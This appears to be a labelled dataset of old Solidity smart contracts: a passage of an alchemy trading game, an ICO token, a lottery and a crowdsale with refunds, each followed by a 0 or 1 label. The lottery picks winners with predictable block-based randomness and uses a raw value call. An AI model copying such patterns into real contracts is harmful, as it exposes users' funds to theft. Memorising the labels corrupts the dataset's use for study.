ChangePatentSale(assetId, newPrice); } function buyPatent(uint16 assetId) external payable whenNotPaused { Patent memory patent = patents[assetId]; require(patent.patentOwner != address(0)); require(patent.patentOwner != msg.sender); require(patent.onSale); require(msg.value >= patent.price); require(now >= patent.sellTime + patentSaleTimeDelay); patent.patentOwner.transfer(patent.price / 10000 * feeRatio); patent.patentOwner = msg.sender; patent.beginTime = now; patent.onSale = false; patent.lastPrice = patent.price; patents[assetId] = patent; emit BuyPatent(assetId, msg.sender); } } contract ChemistryInterface { function isChemistry() public pure returns (bool); function turnOnFurnace(uint16[5] inputAssets, uint128 addition) public returns (uint16[5]); function computeCooldownTime(uint128 typeAdd, uint256 baseTime) public returns (uint256); } contract SkinInterface { function getActiveSkin(address account) public view returns (uint128); } contract AlchemySynthesize is AlchemyPatent { ChemistryInterface public chemistry; SkinInterface public skinContract; uint256[9] public cooldownLevels = [ 5 minutes, 10 minutes, 15 minutes, 20 minutes, 25 minutes, 30 minutes, 35 minutes, 40 minutes, 45 minutes ]; uint256[9] public pFees = [ 0, 2 finney, 4 finney, 8 finney, 12 finney, 18 finney, 26 finney, 36 finney, 48 finney ]; struct Furnace { uint16[5] pendingAssets; uint256 cooldownEndTime; bool inSynthesization; uint256 count; } uint256 public maxSCount = 10; mapping (address => Furnace) public accountsToFurnace; mapping (uint16 => uint256) public assetLevel; uint256 public prePaidFee = 1000000 * 3000000000; bool public isSynthesizeAllowed = false; event AutoSynthesize(address account, uint256 cooldownEndTime); event SynthesizeSuccess(address account); function initializeLevel() public onlyCOO { uint8[9] memory levelSplits = [4, 19, 46, 82, 125, 156, 180, 195, 198]; uint256 currentLevel = 0; for (uint8 i = 0; i < 198; i ++) { if (i == levelSplits[currentLevel]) { currentLevel ++; } assetLevel[uint16(i)] = currentLevel; } } function setAssetLevel(uint16 assetId, uint256 level) public onlyCOO { assetLevel[assetId] = level; } function setMaxCount(uint256 max) external onlyCOO { maxSCount = max; } function setPatentFees(uint256[9] newFees) external onlyCOO { for (uint256 i = 0; i < 9; i++) { pFees[i] = newFees[i]; } } function changeSynthesizeAllowed(bool newState) external onlyCOO { isSynthesizeAllowed = newState; } function getFurnace(address account) public view returns (uint16[5], uint256, bool, uint256) { return (accountsToFurnace[account].pendingAssets, accountsToFurnace[account].cooldownEndTime, accountsToFurnace[account].inSynthesization, accountsToFurnace[account].count); } function setChemistryAddress(address chemistryAddress) external onlyCOO { ChemistryInterface candidateContract = ChemistryInterface(chemistryAddress); require(candidateContract.isChemistry()); chemistry = candidateContract; } function setSkinContract(address skinAddress) external onlyCOO { skinContract = SkinInterface(skinAddress); } function setPrePaidFee(uint256 newPrePaidFee) external onlyCOO { prePaidFee = newPrePaidFee; } function _isCooldownReady(address account) internal view returns (bool) { return (accountsToFurnace[account].cooldownEndTime <= now); } function synthesize(uint16[5] inputAssets, uint256 sCount) public payable whenNotPaused { require(isSynthesizeAllowed == true); require(accountsToFurnace[msg.sender].inSynthesization == false); require(sCount <= maxSCount && sCount > 0); bytes32[8] memory asset = assets[msg.sender]; bytes32 mask; uint256 maskedValue; uint256 count; bytes32 _asset; uint256 pos; uint256 maxLevel = 0; uint256 totalFee = 0; uint256 _assetLevel; Patent memory _patent; uint16 currentAsset; for (uint256 i = 0; i < 5; i++) { currentAsset = inputAssets[i]; if (currentAsset < 248) { _asset = asset[currentAsset / 31]; pos = currentAsset % 31; mask = bytes32(255) << (8 * pos); maskedValue = uint256(_asset & mask); require(maskedValue >= (sCount << (8*pos))); maskedValue -= (sCount << (8*pos)); _asset = ((_asset ^ mask) & _asset) | bytes32(maskedValue); asset[currentAsset / 31] = _asset; count += 1; _assetLevel = assetLevel[currentAsset]; if (_assetLevel > maxLevel) { maxLevel = _assetLevel; } if (_assetLevel > 0) { _patent = patents[currentAsset]; if (_patent.patentOwner != address(0) && _patent.patentOwner != msg.sender && !_patent.onSale && (_patent.beginTime + patentValidTime > now)) { maskedValue = pFees[_assetLevel] * sCount; _patent.patentOwner.transfer(maskedValue / 10000 * feeRatio); totalFee += maskedValue; } } } } require(msg.value >= prePaidFee + totalFee); require(count >= 2 && count <= 5); require(_isCooldownReady(msg.sender)); uint128 skinType = skinContract.getActiveSkin(msg.sender); uint256 _cooldownTime = chemistry.computeCooldownTime(skinType, cooldownLevels[maxLevel]); accountsToFurnace[msg.sender].pendingAssets = inputAssets; accountsToFurnace[msg.sender].cooldownEndTime = now + _cooldownTime; accountsToFurnace[msg.sender].inSynthesization = true; accountsToFurnace[msg.sender].count = sCount; assets[msg.sender] = asset; emit AutoSynthesize(msg.sender, accountsToFurnace[msg.sender].cooldownEndTime); } function getPatentFee(address account, uint16[5] inputAssets, uint256 sCount) external view returns (uint256) { uint256 totalFee = 0; uint256 _assetLevel; Patent memory _patent; uint16 currentAsset; for (uint256 i = 0; i < 5; i++) { currentAsset = inputAssets[i]; if (currentAsset < 248) { _assetLevel = assetLevel[currentAsset]; if (_assetLevel > 0) { _patent = patents[currentAsset]; if (_patent.patentOwner != address(0) && _patent.patentOwner != account && !_patent.onSale && (_patent.beginTime + patentValidTime > now)) { totalFee += pFees[_assetLevel] * sCount; } } } } return totalFee; } function getSynthesizationResult(address account) external whenNotPaused { require(accountsToFurnace[account].inSynthesization); require(_isCooldownReady(account)); uint16[5] memory _pendingAssets = accountsToFurnace[account].pendingAssets; uint128 skinType = skinContract.getActiveSkin(account); uint16[5] memory resultAssets; bytes32[8] memory asset = assets[account]; bytes32 mask; uint256 maskedValue; uint256 j; uint256 pos; for (uint256 k = 0; k < accountsToFurnace[account].count; k++) { resultAssets = chemistry.turnOnFurnace(_pendingAssets, skinType); for (uint256 i = 0; i < 5; i++) { if (resultAssets[i] < 248) { j = resultAssets[i] / 31; pos = resultAssets[i] % 31; mask = bytes32(255) << (8 * pos); maskedValue = uint256(asset[j] & mask); require(maskedValue < (uint256(255) << (8*pos))); maskedValue += (uint256(1) << (8*pos)); asset[j] = ((asset[j] ^ mask) & asset[j]) | bytes32(maskedValue); if (resultAssets[i] > 3 && patents[resultAssets[i]].patentOwner == address(0)) { patents[resultAssets[i]] = Patent({patentOwner: account, beginTime: now, onSale: false, price: 0, lastPrice: 100 finney, sellTime: 0}); emit RegisterCreator(account, resultAssets[i]); } } } } accountsToFurnace[account].inSynthesization = false; accountsToFurnace[account].count = 0; assets[account] = asset; msg.sender.transfer(prePaidFee); emit SynthesizeSuccess(account); } } contract AlchemyMinting is AlchemySynthesize { uint256 public zoDailyLimit = 1000; uint256[4] public zoCreated; mapping(address => bytes32) public accountsBoughtZoAsset; mapping(address => uint256) public accountsZoLastRefreshTime; uint256 public zoPrice = 2500 szabo; uint256 public zoLastRefreshTime = now; event BuyZeroOrderAsset(address account, bytes32 values); function setZoPrice(uint256 newPrice) external onlyCOO { zoPrice = newPrice; } function buyZoAssets(bytes32 values) external payable whenNotPaused { bytes32 history = accountsBoughtZoAsset[msg.sender]; if (accountsZoLastRefreshTime[msg.sender] == uint256(0)) { accountsZoLastRefreshTime[msg.sender] = zoLastRefreshTime; } else { if (accountsZoLastRefreshTime[msg.sender] < zoLastRefreshTime) { history = bytes32(0); accountsZoLastRefreshTime[msg.sender] = zoLastRefreshTime; } } uint256 currentCount = 0; uint256 count = 0; bytes32 mask = bytes32(255); uint256 maskedValue; uint256 maskedResult; bytes32 asset = assets[msg.sender][0]; for (uint256 i = 0; i < 4; i++) { if (i > 0) { mask = mask << 8; } maskedValue = uint256(values & mask); currentCount = maskedValue / 2 ** (8 * i); count += currentCount; maskedResult = uint256(history & mask); maskedResult += maskedValue; require(maskedResult < (2 ** (8 * (i + 1)))); history = ((history ^ mask) & history) | bytes32(maskedResult); maskedResult = uint256(asset & mask); maskedResult += maskedValue; require(maskedResult < (2 ** (8 * (i + 1)))); asset = ((asset ^ mask) & asset) | bytes32(maskedResult); require(zoCreated[i] + currentCount <= zoDailyLimit); zoCreated[i] += currentCount; } require(count > 0); require(msg.value >= count * zoPrice); assets[msg.sender][0] = asset; accountsBoughtZoAsset[msg.sender] = history; emit BuyZeroOrderAsset(msg.sender, values); } function clearZoDailyLimit() external onlyCOO { uint256 nextDay = zoLastRefreshTime + 1 days; if (now > nextDay) { zoLastRefreshTime = nextDay; for (uint256 i = 0; i < 4; i++) { zoCreated[i] =0; } } } } contract AlchemyMarket is AlchemyMinting { struct SaleOrder { uint64 assetId; uint64 amount; uint128 desiredPrice; address seller; } uint128 public maxSaleNum = 20; uint256 public trCut = 275; uint256 public nextSaleId = 1; mapping (uint256 => SaleOrder) public saleOrderList; mapping (address => uint256) public accountToSaleNum; event PutOnSale(address account, uint256 saleId); event WithdrawSale(address account, uint256 saleId); event ChangeSale(address account, uint256 saleId); event BuyInMarket(address buyer, uint256 saleId, uint256 amount); event SaleClear(uint256 saleId); function setTrCut(uint256 newCut) public onlyCOO { trCut = newCut; } function putOnSale(uint256 assetId, uint256 amount, uint256 price) external whenNotPaused { require(accountToSaleNum[msg.sender] < maxSaleNum); require(assetId > 3 && assetId < 248); require(amount > 0 && amount < 256); uint256 assetFloor = assetId / 31; uint256 assetPos = assetId - 31 * assetFloor; bytes32 allAsset = assets[msg.sender][assetFloor]; bytes32 mask = bytes32(255) << (8 * assetPos); uint256 maskedValue; uint256 maskedResult; uint256 addAmount = amount << (8 * assetPos); maskedValue = uint256(allAsset & mask); require(addAmount <= maskedValue); maskedResult = maskedValue - addAmount; allAsset = ((allAsset ^ mask) & allAsset) | bytes32(maskedResult); assets[msg.sender][assetFloor] = allAsset; SaleOrder memory saleorder = SaleOrder( uint64(assetId), uint64(amount), uint128(price), msg.sender ); saleOrderList[nextSaleId] = saleorder; nextSaleId += 1; accountToSaleNum[msg.sender] += 1; emit PutOnSale(msg.sender, nextSaleId-1); } function withdrawSale(uint256 saleId) external whenNotPaused { require(saleOrderList[saleId].seller == msg.sender); uint256 assetId = uint256(saleOrderList[saleId].assetId); uint256 assetFloor = assetId / 31; uint256 assetPos = assetId - 31 * assetFloor; bytes32 allAsset = assets[msg.sender][assetFloor]; bytes32 mask = bytes32(255) << (8 * assetPos); uint256 maskedValue; uint256 maskedResult; uint256 addAmount = uint256(saleOrderList[saleId].amount) << (8 * assetPos); maskedValue = uint256(allAsset & mask); require(addAmount + maskedValue < 2**(8 * (assetPos + 1))); maskedResult = maskedValue + addAmount; allAsset = ((allAsset ^ mask) & allAsset) | bytes32(maskedResult); assets[msg.sender][assetFloor] = allAsset; delete saleOrderList[saleId]; accountToSaleNum[msg.sender] -= 1; emit WithdrawSale(msg.sender, saleId); } function buyInMarket(uint256 saleId, uint256 amount) external payable whenNotPaused { address seller = saleOrderList[saleId].seller; require(seller != address(0)); require(msg.sender != seller); require(saleOrderList[saleId].amount >= uint64(amount)); require(msg.value / saleOrderList[saleId].desiredPrice >= amount); uint256 totalprice = amount * saleOrderList[saleId].desiredPrice; uint64 assetId = saleOrderList[saleId].assetId; uint256 assetFloor = assetId / 31; uint256 assetPos = assetId - 31 * assetFloor; bytes32 allAsset = assets[msg.sender][assetFloor]; bytes32 mask = bytes32(255) << (8 * assetPos); uint256 maskedValue; uint256 maskedResult; uint256 addAmount = amount << (8 * assetPos); maskedValue = uint256(allAsset & mask); require(addAmount + maskedValue < 2**(8 * (assetPos + 1))); maskedResult = maskedValue + addAmount; allAsset = ((allAsset ^ mask) & allAsset) | bytes32(maskedResult); assets[msg.sender][assetFloor] = allAsset; saleOrderList[saleId].amount -= uint64(amount); uint256 sellerProceeds = totalprice - _computeCut(totalprice); seller.transfer(sellerProceeds); emit BuyInMarket(msg.sender, saleId, amount); if (saleOrderList[saleId].amount == 0) { accountToSaleNum[seller] -= 1; delete saleOrderList[saleId]; emit SaleClear(saleId); } } function _computeCut(uint256 _price) internal view returns (uint256) { return _price / 10000 * trCut; } } contract AlchemyMove is AlchemyMarket { bool public isMovingEnable = true; function disableMoving() external onlyCOO { isMovingEnable = false; } function moveAccountData(address[] accounts, bytes32[] _assets, uint256[] saleNums) external onlyCOO { require(isMovingEnable); uint256 j; address account; for (uint256 i = 0; i < accounts.length; i++) { account = accounts[i]; for (j = 0; j < 8; j++) { assets[account][j] = _assets[j + 8*i]; } accountToSaleNum[account] = saleNums[i]; } } function moveFurnaceData(address[] accounts, uint16[] _pendingAssets, uint256[] cooldownTimes, bool[] furnaceState, uint256[] counts) external onlyCOO { require(isMovingEnable); Furnace memory _furnace; uint256 j; address account; for (uint256 i = 0; i < accounts.length; i++) { account = accounts[i]; for (j = 0; j < 5; j++) { _furnace.pendingAssets[j] = _pendingAssets[j + 5*i]; } _furnace.cooldownEndTime = cooldownTimes[i]; _furnace.inSynthesization = furnaceState[i]; _furnace.count = counts[i]; accountsToFurnace[account] = _furnace; } } function movePatentData(uint16[] ids, address[] owners, uint256[] beginTimes, bool[] onsaleStates, uint256[] prices, uint256[] lastprices, uint256[] selltimes) external onlyCOO { require(isMovingEnable); uint16 id; for (uint256 i = 0; i < ids.length; i++) { id = ids[i]; patents[id] = Patent({patentOwner: owners[i], beginTime: beginTimes[i], onSale: onsaleStates[i], price: prices[i], lastPrice: lastprices[i], sellTime: selltimes[i]}); } } function moveMarketData(uint256[] saleIds, uint64[] assetIds, uint64[] amounts, uint128[] desiredPrices, address[] sellers) external onlyCOO { require(isMovingEnable); SaleOrder memory _saleOrder; uint256 _saleId; for (uint256 i = 0; i < saleIds.length; i++) { _saleId = saleIds[i]; _saleOrder.assetId = assetIds[i]; _saleOrder.amount = amounts[i]; _saleOrder.desiredPrice = desiredPrices[i]; _saleOrder.seller = sellers[i]; saleOrderList[_saleId] = _saleOrder; } } function writeNextId(uint256 _id) external onlyCOO { require(isMovingEnable); nextSaleId = _id; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Lockable is Ownable { event Lock(); event Unlock(); bool public locked = false; modifier whenNotLocked() { require(!locked); _; } modifier whenLocked() { require(locked); _; } function lock() public onlyOwner whenNotLocked { locked = true; Lock(); } function unlock() public onlyOwner whenLocked { locked = false; Unlock(); } } contract BaseFixedERC20Token is Lockable { using SafeMath for uint; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) private allowed; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); function balanceOf(address owner_) public view returns (uint balance) { return balances[owner_]; } function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); Transfer(msg.sender, to_, value_); return true; } function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]); balances[from_] = balances[from_].sub(value_); balances[to_] = balances[to_].add(value_); allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_); Transfer(from_, to_, value_); return true; } function approve(address spender_, uint value_) public whenNotLocked returns (bool) { if (value_ != 0 && allowed[msg.sender][spender_] != 0) { revert(); } allowed[msg.sender][spender_] = value_; Approval(msg.sender, spender_, value_); return true; } function allowance(address owner_, address spender_) public view returns (uint) { return allowed[owner_][spender_]; } } contract BaseICOTokenWithBonus is BaseFixedERC20Token { uint public availableSupply; address public ico; uint public bonusUnlockAt; mapping(address => uint) public bonusBalances; event ICOTokensInvested(address indexed to, uint amount); event ICOChanged(address indexed icoContract); modifier onlyICO() { require(msg.sender == ico); _; } function BaseICOTokenWithBonus(uint totalSupply_) public { locked = true; totalSupply = totalSupply_; availableSupply = totalSupply_; } function changeICO(address ico_) public onlyOwner { ico = ico_; ICOChanged(ico); } function setBonusUnlockAt(uint bonusUnlockAt_) public onlyOwner { require(bonusUnlockAt_ > block.timestamp); bonusUnlockAt = bonusUnlockAt_; } function getBonusUnlockAt() public view returns (uint) { return bonusUnlockAt; } function bonusBalanceOf(address owner_) public view returns (uint) { return bonusBalances[owner_]; } function icoInvestment(address to_, uint amount_, uint bonusAmount_) public onlyICO returns (uint) { require(isValidICOInvestment(to_, amount_)); availableSupply = availableSupply.sub(amount_); balances[to_] = balances[to_].add(amount_); bonusBalances[to_] = bonusBalances[to_].add(bonusAmount_); ICOTokensInvested(to_, amount_); return amount_; } function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) { return to_ != address(0) && amount_ <= availableSupply; } function getAllowedForTransferTokens(address from_) public view returns (uint) { return (bonusUnlockAt >= block.timestamp) ? balances[from_].sub(bonusBalances[from_]) : balances[from_]; } function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(value_ <= getAllowedForTransferTokens(msg.sender)); return super.transfer(to_, value_); } function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(value_ <= getAllowedForTransferTokens(from_)); return super.transferFrom(from_, to_, value_); } } contract BENEFITToken is BaseICOTokenWithBonus { using SafeMath for uint; string public constant name = "Dating with Benefits"; string public constant symbol = "BENEFIT"; uint8 public constant decimals = 18; uint internal constant ONE_TOKEN = 1e18; uint public constant RESERVED_RESERVE_UNLOCK_AT = 1546300800; uint public constant RESERVED_COMPANY_UNLOCK_AT = 1561939200; event ReservedTokensDistributed(address indexed to, uint8 group, uint amount); event TokensBurned(uint amount); function BENEFITToken(uint totalSupplyTokens_, uint companyTokens_, uint bountyTokens_, uint reserveTokens_, uint marketingTokens_) public BaseICOTokenWithBonus(totalSupplyTokens_ * ONE_TOKEN) { require(availableSupply == totalSupply); availableSupply = availableSupply .sub(companyTokens_ * ONE_TOKEN) .sub(bountyTokens_ * ONE_TOKEN) .sub(reserveTokens_ * ONE_TOKEN) .sub(marketingTokens_ * ONE_TOKEN); reserved[RESERVED_COMPANY_GROUP] = companyTokens_ * ONE_TOKEN; reserved[RESERVED_BOUNTY_GROUP] = bountyTokens_ * ONE_TOKEN; reserved[RESERVED_RESERVE_GROUP] = reserveTokens_ * ONE_TOKEN; reserved[RESERVED_MARKETING_GROUP] = marketingTokens_ * ONE_TOKEN; } function() external payable { revert(); } function burnRemain() public onlyOwner { require(availableSupply > 0); uint burned = availableSupply; totalSupply = totalSupply.sub(burned); availableSupply = 0; TokensBurned(burned); } uint8 public constant RESERVED_COMPANY_GROUP = 0x1; uint8 public constant RESERVED_BOUNTY_GROUP = 0x2; uint8 public constant RESERVED_RESERVE_GROUP = 0x4; uint8 public constant RESERVED_MARKETING_GROUP = 0x8; mapping(uint8 => uint) public reserved; function getReservedTokens(uint8 group_) public view returns (uint) { return reserved[group_]; } function assignReserved(address to_, uint8 group_, uint amount_) public onlyOwner { require(to_ != address(0) && (group_ & 0xF) != 0); require(group_ != RESERVED_RESERVE_GROUP || (group_ == RESERVED_RESERVE_GROUP && block.timestamp >= RESERVED_RESERVE_UNLOCK_AT)); require(group_ != RESERVED_COMPANY_GROUP || (group_ == RESERVED_COMPANY_GROUP && block.timestamp >= RESERVED_COMPANY_UNLOCK_AT)); reserved[group_] = reserved[group_].sub(amount_); balances[to_] = balances[to_].add(amount_); ReservedTokensDistributed(to_, group_, amount_); } }
1
pragma solidity ^0.4.23; interface token { function transfer(address receiver, uint amount) external; function balanceOf(address tokenOwner) constant external returns (uint balance); } contract DeflatLottoBurn { string public name = "DEFLAT LOTTO INVEST"; string public symbol = "DEFTLI"; string public prob = "Probability 1 of 10"; string public comment = "Send 0.002 ETH to burn DEFLAT and try to win 0.018 ETH (-gas), the prize is drawn when the accumulated balance reaches 0.02 ETH"; address[] internal playerPool; address public maincontract = address(0xe36584509F808f865BE1960aA459Ab428fA7A25b); address public burncontract = address(0x731468ca17848717CdcBf2ddc0b8301f270b6D36); token public tokenReward = token(0xe1E0DB951844E7fb727574D7dACa68d1C5D1525b); uint rounds = 10; uint quota = 0.002 ether; event Payout(address from, address to, uint quantity); function () public payable { require(msg.value == quota); playerPool.push(msg.sender); if (playerPool.length >= rounds) { uint baserand = (block.number-1)+now+block.difficulty; uint winidx = uint(baserand)/10; winidx = baserand - (winidx*10); address winner = playerPool[winidx]; uint amount = address(this).balance; if (winner.send(amount)) { emit Payout(this, winner, amount);} if (tokenReward.balanceOf(address(this)) > 0) {tokenReward.transfer(burncontract, tokenReward.balanceOf(address(this)));} playerPool.length = 0; } else { if (playerPool.length == 1) { if (maincontract.call.gas(200000).value(address(this).balance)()) { emit Payout(this, maincontract, quota);} } } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; wallet.transfer(this.balance); Closed(); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract Gryphon is ERC20, Ownable { using SafeMath for uint256; RefundVault public vault; mapping(address => uint256) balances; mapping(address => uint256) vested; mapping(address => uint256) total_vested; mapping (address => mapping (address => uint256)) allowed; uint256 totalSupply_; string public name = 'Gryphon'; string public symbol = 'GXC'; uint256 public decimals = 4; uint256 public initialSupply = 2000000000; uint256 public start; uint256 public duration; uint256 public rateICO = 910000000000000; uint256 public preSaleMaxCapInWei = 10000 ether; uint256 public preSaleRaised = 0; uint256 public icoSoftCapInWei = 102000 ether; uint256 public icoHardCapInWei = 238100 ether; uint256 public icoRaised = 0; uint256 public presaleStartTimestamp; uint256 public presaleEndTimestamp; uint256 public icoStartTimestamp; uint256 public icoEndTimestamp; uint256 public presaleTokenLimit; uint256 public icoTokenLimit; uint256 public investorCount; enum State {Unknown, Preparing, PreSale, ICO, Success, Failure, PresaleFinalized, ICOFinalized} State public crowdSaleState; modifier nonZero() { require(msg.value > 0); _; } function Gryphon() public { owner = 0xf42B82D02b8f3E7983b3f7E1000cE28EC3F8C815; vault = new RefundVault(0x6cD6B03D16E4BE08159412a7E290F1EA23446Bf2); totalSupply_ = initialSupply*(10**decimals); balances[owner] = totalSupply_; presaleStartTimestamp = 1523232000; presaleEndTimestamp = presaleStartTimestamp + 50 * 1 days; icoStartTimestamp = presaleEndTimestamp + 1 days; icoEndTimestamp = icoStartTimestamp + 60 * 1 days; crowdSaleState = State.Preparing; start = 1523232000; duration = 23328000; } function () nonZero payable { enter(); } function enter() public nonZero payable { if(isPreSalePeriod()) { if(crowdSaleState == State.Preparing) { crowdSaleState = State.PreSale; } buyTokens(msg.sender, msg.value); } else if (isICOPeriod()) { if(crowdSaleState == State.PresaleFinalized) { crowdSaleState = State.ICO; } buyTokens(msg.sender, msg.value); } else { revert(); } } function buyTokens(address _recipient, uint256 _value) internal nonZero returns (bool success) { uint256 boughtTokens = calculateTokens(_value); require(boughtTokens != 0); boughtTokens = boughtTokens*(10**decimals); if(balanceOf(_recipient) == 0) { investorCount++; } if(isCrowdSaleStatePreSale()) { transferTokens(_recipient, boughtTokens); vault.deposit.value(_value)(_recipient); preSaleRaised = preSaleRaised.add(_value); return true; } else if (isCrowdSaleStateICO()) { transferTokens(_recipient, boughtTokens); vault.deposit.value(_value)(_recipient); icoRaised = icoRaised.add(_value); return true; } } function transferTokens(address _recipient, uint256 tokens_in_cents) internal returns (bool) { require( tokens_in_cents > 0 && _recipient != owner && tokens_in_cents < balances[owner] ); balances[owner] = balances[owner].sub(tokens_in_cents); balances[_recipient] = balances[_recipient].add(tokens_in_cents); getVested(_recipient); Transfer(owner, _recipient, tokens_in_cents); return true; } function getVested(address _beneficiary) public returns (uint256) { require(balances[_beneficiary]>0); if (_beneficiary == owner){ vested[owner] = balances[owner]; total_vested[owner] = balances[owner]; } else if (block.timestamp < start) { vested[_beneficiary] = 0; total_vested[_beneficiary] = 0; } else if (block.timestamp >= start.add(duration)) { total_vested[_beneficiary] = balances[_beneficiary]; vested[_beneficiary] = balances[_beneficiary]; } else { uint vested_now = balances[_beneficiary].mul(block.timestamp.sub(start)).div(duration); if(total_vested[_beneficiary]==0){ total_vested[_beneficiary] = vested_now; } if(vested_now > total_vested[_beneficiary]){ vested[_beneficiary] = vested[_beneficiary].add(vested_now.sub(total_vested[_beneficiary])); total_vested[_beneficiary] = vested_now; } } return vested[_beneficiary]; } function transfer(address _to, uint256 _tokens_in_cents) public returns (bool) { require(_tokens_in_cents > 0); require(_to != msg.sender); getVested(msg.sender); require(balances[msg.sender] >= _tokens_in_cents); require(vested[msg.sender] >= _tokens_in_cents); if(balanceOf(_to) == 0) { investorCount++; } balances[msg.sender] = balances[msg.sender].sub(_tokens_in_cents); vested[msg.sender] = vested[msg.sender].sub(_tokens_in_cents); balances[_to] = balances[_to].add(_tokens_in_cents); if(balanceOf(msg.sender) == 0) { investorCount=investorCount-1; } Transfer(msg.sender, _to, _tokens_in_cents); return true; } function transferFrom(address _from, address _to, uint256 _tokens_in_cents) public returns (bool success) { require(_tokens_in_cents > 0); require(_from != _to); getVested(_from); require(balances[_from] >= _tokens_in_cents); require(vested[_from] >= _tokens_in_cents); require(allowed[_from][msg.sender] >= _tokens_in_cents); if(balanceOf(_to) == 0) { investorCount++; } balances[_from] = balances[_from].sub(_tokens_in_cents); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_tokens_in_cents); vested[_from] = vested[_from].sub(_tokens_in_cents); balances[_to] = balances[_to].add(_tokens_in_cents); if(balanceOf(_from) == 0) { investorCount=investorCount-1; } Transfer(_from, _to, _tokens_in_cents); return true; } function approve(address _spender, uint256 _tokens_in_cents) returns (bool success) { require(vested[msg.sender] >= _tokens_in_cents); allowed[msg.sender][_spender] = _tokens_in_cents; Approval(msg.sender, _spender, _tokens_in_cents); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function calculateTokens(uint256 _amount) internal returns (uint256 tokens){ if(crowdSaleState == State.Preparing && isPreSalePeriod()) { crowdSaleState = State.PreSale; } if(isCrowdSaleStatePreSale()) { tokens = _amount.div(rateICO); } else if (isCrowdSaleStateICO()) { tokens = _amount.div(rateICO); } else { tokens = 0; } } function getRefund(address _recipient) public returns (bool){ require(crowdSaleState == State.Failure); require(refundedAmount(_recipient)); vault.refund(_recipient); return true; } function refundedAmount(address _recipient) internal returns (bool) { require(balances[_recipient] != 0); balances[_recipient] = 0; return true; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address a) public view returns (uint256 balance) { return balances[a]; } function isCrowdSaleStatePreSale() public constant returns (bool) { return crowdSaleState == State.PreSale; } function isCrowdSaleStateICO() public constant returns (bool) { return crowdSaleState == State.ICO; } function isPreSalePeriod() public constant returns (bool) { if(preSaleRaised > preSaleMaxCapInWei || now >= presaleEndTimestamp) { crowdSaleState = State.PresaleFinalized; return false; } else { return now > presaleStartTimestamp; } } function isICOPeriod() public constant returns (bool) { if (icoRaised > icoHardCapInWei || now >= icoEndTimestamp){ crowdSaleState = State.ICOFinalized; return false; } else { return now > icoStartTimestamp; } } function endCrowdSale() public onlyOwner { require(now >= icoEndTimestamp || icoRaised >= icoSoftCapInWei); if(icoRaised >= icoSoftCapInWei){ crowdSaleState = State.Success; vault.close(); } else { crowdSaleState = State.Failure; vault.enableRefunds(); } } function getInvestorCount() public constant returns (uint256) { return investorCount; } function getPresaleRaisedAmount() public constant returns (uint256) { return preSaleRaised; } function getICORaisedAmount() public constant returns (uint256) { return icoRaised; } }
0
